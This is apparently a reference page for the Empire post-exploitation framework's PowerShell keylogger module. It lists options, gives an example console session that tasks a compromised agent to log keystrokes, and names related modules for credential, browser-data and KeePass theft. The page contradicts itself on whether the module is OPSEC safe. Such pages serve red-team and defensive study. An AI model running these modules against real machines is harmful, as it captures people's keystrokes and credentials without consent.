Get-KeyStrokes - Empire Module
This page contains detailed information about how to use the powershell/collection/keylogger Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Get-KeyStrokes
Module: powershell/collection/keylogger
Source code [1]: empire/server/modules/powershell/collection/keylogger.yaml
Source code [2]: empire/server/data/module_source/collection/Get-Keystrokes.ps1
MITRE ATT&CK:
T1056
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes
The keylogger module logs keys pressed, time and the active window (when changed) to the keystrokes.txt file. This file is located in the agents downloads directory Empire/downloads/
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the keylogger module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the keylogger module:
Agent
Agent to run module on.
Additional Module Options
This is a list of additional options that are supported by the keylogger module:
Sleep
Sleep time [ms] between key presses. Shorter times may increase CPU usage on the target.
Keylogger Example Usage
Here's an example of how to use the keylogger module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/keylogger
Author @obscuresec
@mattifestation
@harmj0y
Background True
Comments https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration
/Get-Keystrokes.ps1
Description Logs keys pressed, time and the active window (when changed) to the
keystrokes.txt file. This file is located in the agents downloads
directory Empire/downloads/<AgentName>/keystrokes.txt.
Language powershell
Name powershell/collection/keylogger
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1056
,Record Options-,----------,-------------------------------------,
| Name | Value | Required | Description |
|-------|-------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|-------|-------|----------|-------------------------------------|
| Sleep | 1 | False | Sleep time [ms] between key |
| | | | presses. Shorter times may increase |
| | | | CPU usage on the target. |
'-------'-------'----------'-------------------------------------'
(Empire: usemodule/powershell/collection/keylogger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/keylogger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/collection/keylogger.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/collection/Get-Keystrokes.ps1
- https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1
- http://attack.mitre.org/techniques/T1056
- http://www.obscuresec.com/
- http://www.exploit-monday.com/
See Also
Check also the following modules related to this module:
- powershell/collection/get_sql_query
- powershell/collection/SharpLoginPrompt
- powershell/collection/file_finder
- powershell/collection/get_indexed_item
- powershell/collection/ninjacopy
- powershell/collection/clipboard_monitor
- powershell/collection/FoxDump
- powershell/collection/prompt
- powershell/collection/minidump
- powershell/collection/netripper
- powershell/collection/SauronEye
- powershell/collection/toasted
- powershell/collection/screenshot
- powershell/collection/find_interesting_file
- powershell/collection/inveigh
- powershell/collection/browser_data
- powershell/collection/WireTap
- powershell/collection/WebcamRecorder
- powershell/collection/ChromeDump
- powershell/collection/USBKeylogger
- powershell/collection/get_sql_column_sample_data
- powershell/collection/get-winupdates
- powershell/collection/packet_capture
- powershell/collection/SharpChromium
- powershell/collection/vaults/remove_keepass_config_trigger
- powershell/collection/vaults/add_keepass_config_trigger
- powershell/collection/vaults/keethief
- powershell/collection/vaults/find_keepass_config
- powershell/collection/vaults/get_keepass_config_trigger
- python/collection/linux/keylogger
- python/collection/osx/keylogger
- python/collection/linux/xkeylogger
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.